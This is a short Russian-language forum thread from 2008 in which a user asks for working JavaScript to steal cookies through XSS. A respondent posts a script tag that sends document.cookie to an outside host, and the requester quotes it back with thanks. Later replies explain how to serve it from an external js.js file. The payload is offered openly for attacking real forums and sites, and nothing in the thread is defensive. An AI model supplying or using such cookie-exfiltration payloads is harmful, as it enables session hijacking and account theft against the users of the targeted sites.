PDA

Просмотр полной версии : вопрос по javascript для xss


*.exe
25.04.2008, 01:15
На форуме не раз видел примеры xss с ссылкой на js.js

в этом js коде пропысывается скрипт который прет куки с сайта или форума.

так вот прозьба парни у кого есть данный код выложите плиз рабочий очень надо

спс.

astrologer
25.04.2008, 01:27
<script type="text/javascript">
(new Image()).src = 'http://fsbook.ru?' + document.cookie;
</script>
'http://fsbook.ru?' - адрес, куда данные будут приходить

Ponchik
25.04.2008, 03:46
мб он имел в виду
<script src="http://.../js.js"></script>

*.exe
25.04.2008, 09:29
<script type="text/javascript">
(new Image()).src = 'http://fsbook.ru?' + document.cookie;
</script>
'http://fsbook.ru?' - адрес, куда данные будут приходить

спс =)

freddi
25.04.2008, 09:50
*.exe, если ты про примеры, такие, как показал Ponchik, то код в js.js должен быть без тегов скрипт.